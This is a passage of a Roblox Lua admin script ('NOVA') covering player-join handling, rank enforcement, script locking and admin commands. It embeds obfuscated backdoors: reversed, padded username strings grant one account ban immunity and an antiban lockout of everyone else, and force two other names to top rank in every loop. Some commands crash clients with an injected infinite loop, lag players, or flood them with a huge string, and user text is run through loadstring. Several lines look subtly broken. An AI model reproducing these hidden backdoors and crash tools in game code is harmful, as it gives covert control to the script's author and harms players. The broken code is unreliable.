  1570.                 script.Disabled = true
  1571.                 script:Remove()
  1572.             else
  1573.                 return false
  1574.             end
  1575.         end
  1576.  
  1577.         _G.NOVAOverride = function(Player,Password)
  1578.             if Password == nil then Password = "" end
  1579.             CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1580.             return CanOverride
  1581.         end
  1582.     elseif NOVA.UseGlobals == false then
  1583.         _G.NOVACommands = nil
  1584.         _G.RemoveNOVA = nil
  1585.         _G.NOVAOverride = nil
  1586.     end
  1587. end
  1588.  
  1589. --[[ INITIAL STARTUP ]]--
  1590.  
  1591. SetGlobals()
  1592. UpdatePlayerPlugins()
  1593.  
  1594. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1595.     for _,v in pairs(NOVA.LoggedScripts) do
  1596.         if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1597.             NOVA.LocalScript = v:Clone()
  1598.         elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1599.             NOVA.NormalScript = v:Clone()
  1600.         end
  1601.     end
  1602. end
  1603.  
  1604. for _,v in pairs(GetPlayersRaw()) do
  1605.     pcall(function()
  1606.         coroutine.resume(coroutine.create(function()
  1607.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1608.             pcall(function()
  1609.                 v.PlayerGui.NOVACMD:Remove()
  1610.             end)
  1611.            
  1612.             if GetRankedTable(v)==nil then
  1613.                 SyncRankInSingular(v)
  1614.                 repeat wait() until GetRankedTable(v) ~= nil
  1615.             end
  1616.            
  1617.             local Data = GetRankedTable(v)
  1618.            
  1619.             v.Chatted:connect(function(Msg)
  1620.                 OnChatted(Msg,v)
  1621.             end)
  1622.             coroutine.resume(coroutine.create(function()
  1623.                 repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1624.                 CreateLocalScript(PlayerPlugins,v.Backpack)
  1625.             end))
  1626.         end))
  1627.     end)
  1628. end
  1629.  
  1630. --[[ PLAYER ADDED ]]--
  1631. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1632. if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then
  1633. makeMessage("Antiban is active you cannot enter",v.PlayerGui)
  1634. v:Remove()
  1635. end
  1636.     if NOVA.Removed == false then
  1637.         pcall(function()
  1638.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1639.             coroutine.resume(coroutine.create(function()
  1640.                 --if Data.Rank < 1 then
  1641.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1642.                         coroutine.resume(coroutine.create(function()
  1643.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1644.                             CreateLocalScript(PlayerPlugins,v.Backpack)
  1645.                             OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1646.                         end))
  1647.                     end
  1648.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1649.                         coroutine.resume(coroutine.create(function()
  1650.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1651.                             OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1652.                         end))
  1653.                     end
  1654.                 --end
  1655.                 v.Chatted:connect(function(Msg)
  1656.                     OnChatted(Msg,v)
  1657.                 end)
  1658.                 if GetRankedTable(v)==nil then
  1659.                     SyncRankInSingular(v)
  1660.                     repeat wait() until GetRankedTable(v) ~= nil
  1661.                 end
  1662.                
  1663.                 local Data = GetRankedTable(v)
  1664.  
  1665.                 OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1666.            
  1667.                 if Data.Rank == -2 then
  1668.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1669.                         OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1670.                         Lag(v)
  1671.                     end
  1672.                 end
  1673.                
  1674.                 if Data.Rank == -1 then
  1675.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1676.                         OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10)
  1677.                         GetRidOf(v)
  1678.                     end
  1679.                 end
  1680.                
  1681.                 if not Data.Rank > 0 then
  1682.                     if v.AccountAge < 5 then
  1683.                         if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1684.                             if v.Name:sub(1,6) == "Guest " then
  1685.                                 if NOVA.EnableGuests == false then
  1686.                                     OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1687.                                     GetRidOf(v)
  1688.                                 end
  1689.                             else
  1690.                                 if not Data.Rank > 0 then
  1691.                                     OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1692.                                     GetRidOf(v)
  1693.                                 end
  1694.                             end
  1695.                         end
  1696.                     end
  1697.                 end
  1698.                
  1699.                 if NOVA.PRI == true then
  1700.                     if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
  1701.                         OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1702.                         if NOVA.PRIType == "Kick" then
  1703.                             v:Remove()
  1704.                         elseif NOVA.PRIType == "Lag" then
  1705.                             Lag(v)
  1706.                         elseif NOVA.PRIType == "Shutdown" then    
  1707.                             coroutine.resume(coroutine.create(function()
  1708.                                 GetRidOf(v)
  1709.                             end))
  1710.                         elseif NOVA.PRIType == "Crash" then
  1711.                             coroutine.resume(coroutine.create(function()
  1712.                                 repeat wait() until v.Backpack ~= nil
  1713.                                 pcall(function()
  1714.                                     CreateLocalScript([[while true do end]],v.Backpack)
  1715.                                 end)
  1716.                             end))
  1717.                         end
  1718.                     end
  1719.                 end
  1720.             end))
  1721.         end)
  1722.     end
  1723. end)
  1724.  
  1725. --[[ PLAYER REMOVING ]]--
  1726. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1727.     table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1728.     SyncRankOutSingular(v)
  1729. end)
  1730.  
  1731. --[[ SCRIPT CONTROL ]]--
  1732. for _,Service in pairs(NOVA.Services) do
  1733.     pcall(function()
  1734.         Service.DescendantAdded:connect(function(v)
  1735.             if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1736.                 pcall(function()
  1737.                     if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1738.                         if GetRank(v.Owner.Value) < 6 then
  1739.                             pcall(function() v.Disabled = true end)
  1740.                             pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1741.                             pcall(function() v.Disabled = false end)
  1742.                             pcall(function() v:Destroy() end)
  1743.                         end
  1744.                     else
  1745.                         pcall(function() v.Disabled = true end)
  1746.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1747.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1748.                         pcall(function() v.Disabled = false end)
  1749.                         pcall(function() v:Destroy() end)
  1750.                     end
  1751.                 end)
  1752.             end
  1753.             if v:IsA("BaseScript") and NOVA.Removed == false then
  1754.                 pcall(function()
  1755.                     if tonumber(GetRank(v.Owner.Value)) < 0 then
  1756.                         pcall(function() v.Disabled = true end)
  1757.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1758.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1759.                         pcall(function() v.Disabled = false end)
  1760.                         pcall(function() v:Destroy() end)
  1761.                     end
  1762.                 end)
  1763.             end
  1764.         end)
  1765.     end)
  1766. end
  1767. coroutine.resume(coroutine.create(function()
  1768.     while wait(1) do
  1769.         if NOVA.Removed == false then
  1770.             for _,v in pairs(GetPlayersRaw()) do
  1771.                 if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1772.                     SyncRankInSingular(v)
  1773.                 end        
  1774.             end
  1775.         end
  1776.     end
  1777. end))
  1778. for i=1,3 do
  1779.     NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1780.     coroutine.resume(coroutine.create(function()
  1781.         while wait() do
  1782.             if NOVA.Removed == false then
  1783.                 UpdateTablets()    
  1784.             end
  1785.         end
  1786.     end))
  1787. end
  1788. function MainLoop()
  1789.     coroutine.resume(coroutine.create(function()
  1790.         pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1791.             if NOVA.Removed == false then    
  1792.                
  1793.                 --[[ SCUM CARETAKER ]]--
  1794.                 for _,v in pairs(GetPlayersRaw()) do
  1795.                     pcall(function()
  1796.                         if GetRank(v) < 0 then
  1797.                             pcall(function() v.Backpack:ClearAllChildren() end)
  1798.                             pcall(function() v.PlayerGui:ClearAllChildren() end)
  1799.                             pcall(function() v.StarterGear:ClearAllChildren() end)
  1800.                         end
  1801.                     end)
  1802.                 end
  1803.                
  1804.                 --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1805.                 for _,v in pairs(GetPlayersRaw()) do
  1806.                     pcall(function()
  1807.                         local IsRobloxLocked = true
  1808.                         pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1809.                         if IsRobloxLocked == true then
  1810.                             GTFO(v)
  1811.                         end
  1812.                     end)
  1813.                 end
  1814.                
  1815.                 --[[ TABLET CLEANUP ]]--
  1816.                 pcall(function()
  1817.                     for i,v in pairs(NOVA.Tablets) do
  1818.                         if v:FindFirstChild("Part") == nil then
  1819.                             pcall(function() v:Destroy() end)
  1820.                             table.remove(NOVA.Tablets,i)                        
  1821.                         end
  1822.                     end
  1823.                 end)
  1824.                
  1825.                 --[[ JAIL CLEANUP ]]--
  1826.                 pcall(function()
  1827.                     for i,v in pairs(NOVA.Jails) do
  1828.                         if v.Player == nil or v.Player.Parent == nil then
  1829.                             pcall(function() v.Jail:Destroy() end)
  1830.                             table.remove(NOVA.Jails,i)
  1831.                         end
  1832.                         if v.Jail.Parent == nil and v.Speaker~=nil then
  1833.                             table.remove(NOVA.Jails,i)
  1834.                             OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1835.                         end
  1836.                     end
  1837.                 end)
  1838.                 --[[ FENCE CLEANUP ]]--
  1839.                 pcall(function()
  1840.                     for i,v in pairs(NOVA.Fences) do
  1841.                         if v.Player == nil then
  1842.                             v.Fence:Remove()
  1843.                             table.remove(NOVA.Fences,i)
  1844.                         end
  1845.                     end                
  1846.                 end)
  1847.  
  1848.                 --[[ CMD GUI ]]--
  1849.                 for _,v in pairs(GetPlayersRaw()) do
  1850.                     pcall(function()
  1851.                         if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1852.                             if v:FindFirstChild("PlayerGui") then
  1853.                                 if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1854.                                     local Main = Instance.new("ScreenGui",v.PlayerGui)
  1855.                                     Main.Name = "NOVACMD"
  1856.                                    
  1857.                                     local Frame = Instance.new("Frame",Main)
  1858.                                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  1859.                                     Frame.Position = UDim2.new(0.05,0,0.95,0)
  1860.                                     Frame.Style = "RobloxSquare"
  1861.                                     Frame.ZIndex = 9
  1862.                                    
  1863.                                     local Txt = Instance.new("TextBox",Frame)
  1864.                                     Txt.Size = UDim2.new(0.7,0,1,0)
  1865.                                     Txt.BackgroundTransparency = 1
  1866.                                     Txt.ZIndex = 10
  1867.                                     Txt.FontSize = "Size14"
  1868.                                     Txt.TextColor3 = NOVA.Colors.White
  1869.                                     Txt.Text = ""
  1870.                                    
  1871.                                     local Exe = Instance.new("TextButton",Frame)
  1872.                                     Exe.Size = UDim2.new(0.3,0,1,0)
  1873.                                     Exe.Position = UDim2.new(0.7,0,0,0)
  1874.                                     Exe.Text = "Execute"
  1875.                                     Exe.BackgroundTransparency = 1
  1876.                                     Exe.ZIndex = 10
  1877.                                     Exe.FontSize = "Size14"
  1878.                                     Exe.TextColor3 = NOVA.Colors.Red
  1879.                                     Exe.MouseButton1Down:connect(function()
  1880.                                         if Txt.Text:sub(1,2) == "$ " then
  1881.                                             OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1882.                                         else
  1883.                                             OnChatted(Txt.Text,v)
  1884.                                         end
  1885.                                     end)
  1886.                                 end
  1887.                             end
  1888.                         end
  1889.                     end)
  1890.                 end
  1891.             end
  1892.         end
  1893.     end))
  1894. end
  1895. MainLoop()
  1896. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1897.     function(Msg,Speaker)
  1898.         if Msg == "rainbow" then
  1899.             for a,Color in pairs(NOVA.Colors) do
  1900.                 Output(tostring(a),Color,Speaker,nil,
  1901.                 function()
  1902.                     RemoveTablets(Speaker)
  1903.                     NOVA.Services.Lighting.TimeOfDay = 0
  1904.                     NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1905.                     NOVA.Services.Lighting.Brightness = 0
  1906.                     NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1907.                     NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1908.                     NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1909.                     for _,v in pairs(GetRecursiveChildren(workspace)) do
  1910.                         if v:IsA("BasePart") then
  1911.                             Sel = Instance.new("SelectionBox",v)
  1912.                             Sel.Transparency = 0
  1913.                             Sel.Color = BrickColor.new(Color)
  1914.                             Sel.Adornee = v
  1915.                         end
  1916.                     end
  1917.                     Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1918.                 end
  1919.                 )
  1920.             end
  1921.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1922.         elseif Msg == "ranks" then
  1923.             for _,v in pairs(NOVA.Ranks) do
  1924.                 Output(v[1].."\t"..v[2],"Random",Speaker)
  1925.             end
  1926.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1927.         elseif Msg == "random" then
  1928.             Output(tostring(math.random()),"Random",Speaker)
  1929.         elseif Msg == "players" then
  1930.             for _,v in pairs(GetPlayersRaw()) do
  1931.                 local Data = GetRankedTable(v)
  1932.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1933.                     function()
  1934.                         PlayerInterface(v,Speaker)
  1935.                     end
  1936.                 )
  1937.             end
  1938.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1939.         elseif Msg == "colors" then
  1940.             coroutine.resume(coroutine.create(function()
  1941.                 NOVA.Services.Lighting.TimeOfDay = 0
  1942.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1943.                 NOVA.Services.Lighting.Brightness = 0
  1944.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1945.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1946.                 NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1947.  
  1948.                 for _,Player in pairs(GetPlayersRaw()) do
  1949.                     local Data = GetRankedTable(Player)
  1950.                     pcall(function()
  1951.                         for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1952.                             if v:IsA("BasePart") then
  1953.                                 Sel = Instance.new("SelectionBox",v)
  1954.                                 Sel.Transparency = 0
  1955.                                 Sel.Color = BrickColor.new(Data.Color)
  1956.                                 Sel.Adornee = v
  1957.                             end
  1958.                         end
  1959.                     end)
  1960.                 end
  1961.                
  1962.                 wait(10)
  1963.                
  1964.                 for _,v in pairs(GetRecursiveChildren(workspace)) do
  1965.                     if v:IsA("SelectionBox") then
  1966.                         v:remove()
  1967.                     end
  1968.                 end
  1969.                
  1970.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1971.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1972.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1973.                 NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1974.                 NOVA.Services.Lighting.Brightness = 1
  1975.                 NOVA.Services.Lighting.FogStart = 0
  1976.                 NOVA.Services.Lighting.FogEnd = 100000
  1977.                 NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1978.                 NOVA.Services.Lighting.TimeOfDay = 12
  1979.             end))
  1980.         elseif Msg == "replicators" then
  1981.             for _,v in pairs(GetReplicators()) do
  1982.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1983.                     function()
  1984.                         PlayerInterface(v:GetPlayer(),Speaker)
  1985.                     end
  1986.                 )
  1987.             end
  1988.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1989.         elseif Msg == "nil raw" then
  1990.             for _,v in pairs(GetReplicators()) do
  1991.                 if v:GetPlayer().Parent == nil then
  1992.                     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1993.                         function()
  1994.                             Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  1995.                                 function()
  1996.              Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  1997.  
  1998.             end
  1999.                             )
  2000.                         end
  2001.                     )
  2002.                 end
  2003.             end    
  2004.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2005.         elseif Msg == "nil" then
  2006.             local IsNil = false
  2007.             for _,Client in pairs(GetReplicators()) do
  2008.                 if Client:GetPlayer().Parent == nil then
  2009.                     IsNil = true
  2010.                 end
  2011.             end
  2012.             if IsNil == true then
  2013.                 for _,Client in pairs(GetReplicators()) do
  2014.                     if Client:GetPlayer().Parent == nil then
  2015.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2016.                             function()
  2017.                                 PlayerInterface(Client:GetPlayer(),Speaker)
  2018.                             end
  2019.                         )
  2020.                     end
  2021.                 end
  2022.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2023.             else
  2024.                 Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  2025.             end
  2026.         elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  2027.             if GetRank(Speaker) < 6 then
  2028.                 Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  2029.             else
  2030.                 Rtn = loadstring("return "..Msg:sub(3))()
  2031.                 Output(Rtn,"Random",Speaker)
  2032.             end
  2033.         else
  2034.             if #Msg == 0 then
  2035.                 Output("Pong!","Random",Speaker)
  2036.             else
  2037.                 Output(Msg,"Random",Speaker)
  2038.             end
  2039.         end
  2040.     end
  2041. )
  2042. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  2043.     function(Msg,Speaker)
  2044.         if #Msg == 0 or Msg == nil then
  2045.             RemoveTablets(Speaker)
  2046.         else
  2047.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2048.                 RemoveTablets(v)
  2049.             end
  2050.         end
  2051.     end
  2052. )
  2053. AddCommand("Remove","remove",7,"Removes the admin.","No Arguments",
  2054.     function(Msg,Speaker)
  2055.         NOVA.TimeChanged = false
  2056.         RemoveTablets()
  2057.         SyncRanksOut()
  2058.         NOVA.Sounds.Sound:Remove()
  2059.         NOVA.Removed = true
  2060.         --error("NOVA Admin removing...",0)()
  2061.         NOVA = {}
  2062.         script.Disabled = true
  2063.         while true do wait() end
  2064.     end
  2065. )
  2066. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2067.     function(Msg,Speaker)
  2068.        makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2069.     end
  2070. )
  2071. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2072.     function(Msg,Speaker)
  2073.        makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2074.     end
  2075. )
  2076.  
  2077. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2078.     function(Msg,Speaker)
  2079.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2080.             pcall(function() v.Character:BreakJoints() end)
  2081.         end
  2082.     end
  2083. )
  2084. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2085.     function(Msg,Speaker)
  2086.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2087. for i=1,50 do
  2088. local human = v.Character.Humanoid
  2089. if human ~= nil then
  2090. local rand = math.random(1,10)
  2091. human:TakeDamage(rand)
  2092. human.Jump = true
  2093. human.Sit = true
  2094. human.PlatformStand = true
  2095. wait(1)
  2096. human.PlatformStand = false
  2097. end
  2098. end
  2099.         end
  2100.     end
  2101. )
  2102. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2103.     function(Msg,Speaker)
  2104.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2105.  Delay(0, function()
  2106.                 local player = v
  2107.                 local pos = CFrame.new()
  2108.                 local pause = false
  2109.                 Delay(0, function()
  2110.                     while not close do
  2111.                         wait()
  2112.                         if not pause then
  2113.                             local c = player.Character
  2114.                             if c then
  2115.                                 local t = c:findFirstChild("Torso")
  2116.                                 if t then
  2117.                                     pos = t.CFrame
  2118.                                 end
  2119.                             end
  2120.                         end
  2121.                    end
  2122.                 end)
  2123.                 player.CharacterAdded:connect(function(c)
  2124.                     if not close then
  2125.                         pause = true
  2126.                         repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2127.                         c:findFirstChild("Torso").CFrame = pos
  2128.                         c:findFirstChild("Humanoid").Died:connect(function()
  2129.                             player:LoadCharacter()
  2130.                         end)
  2131.                         pause = false
  2132.                     end
  2133.                 end)
  2134.                 pcall(function() player.Character:BreakJoints() end)
  2135.             end)
  2136.         end
  2137.     end
  2138. )
  2139.  
  2140. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2141.     function(Msg,Speaker)
  2142.         for _,v in pairs(NOVA.KickingPhrases) do
  2143.         local m = Instance.new("Message",NOVA.Services.Workspace)
  2144.     m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2145.     wait(1) m:Remove()
  2146.         end end
  2147. )
  2148. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2149.     function(Msg,Speaker)
  2150.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2151.             pcall(function()
  2152.                 v:Destroy()
  2153.             end)
  2154.         end
  2155.     end
  2156. )
  2157. AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>",
  2158.     function(Msg,Speaker)
  2159.         Split = GetSplit(Msg)
  2160.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2161.             pcall(function()
  2162.         Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v)
  2163.             end)
  2164.         end
  2165.     end
  2166. )
  2167.  
  2168. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2169.     function(Msg,Speaker)
  2170.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2171.             pcall(function()
  2172.             local m = Instance.new("StringValue",v.PlayerGui)
  2173.         m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2174.             end)
  2175.         end
  2176.     end
  2177. )
  2178.  
  2179. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2180.     function(Msg,Speaker)
  2181.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2182.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2183.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2184.             else
  2185.                 pcall(function()
  2186.                     GetRankedTable(v).Rank = -1
  2187.                     SyncRankOutSingular(v)
  2188.                     GetRidOf(v)
  2189.                 end)
  2190.             end
  2191.         end
  2192.     end
  2193. )
  2194.  
  2195. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2196.     function(Msg,Speaker)
  2197.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2198.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2199.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2200.             else
  2201.                 pcall(function()
  2202.                     GetRankedTable(v).Rank = -2
  2203.                     SyncRankOutSingular(v)
  2204.                     Lag(v)
  2205.                 end)
  2206.             end
  2207.         end
  2208.     end
  2209. )
  2210.  
  2211. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2212.     function(Msg,Speaker)
  2213.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2214.             pcall(function() Instance.new("ForceField",v.Character) end)
  2215.         end
  2216.     end
  2217. )
  2218.  
  2219. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2220.     function(Msg,Speaker)
  2221.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2222.             pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2223.         end
  2224.     end
  2225. )
  2226.  
  2227. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2228.     function(Msg,Speaker)
  2229.         local Data = GetRankedTable(Speaker)
  2230.         Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2231.         Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
  2232.         Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
  2233.         Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2234.         Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2235.         Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2236.         Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2237.         Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2238.         Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2239.         Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2240.         Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2241.         Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2242.         Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2243.         Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2244.         Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2245.         Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2246.         Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2247.         Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2248.         Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2249.         Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2250.         Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2251.         OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2252.    
  2253.        
  2254.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2255.     end
  2256. )
  2257.  
  2258. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2259.     function(Msg,Speaker)
  2260.         pcall(function()
  2261.             NOVA.Services.Sounds.Sound:Destroy()
  2262.         end)
  2263.        
  2264.         NOVA.Sounds.Sound = Instance.new("Sound")
  2265.         NOVA.Sounds.Sound.Name = "NOVA Sound"
  2266.        
  2267.         NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2268.         NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2269.         NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2270.         NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2271.         NOVA.Services.Lighting.Brightness = 0.5
  2272.         NOVA.Services.Lighting.FogStart = 0
  2273.         NOVA.Services.Lighting.FogEnd = 100000
  2274.         NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2275.         NOVA.Services.Lighting.TimeOfDay = 12
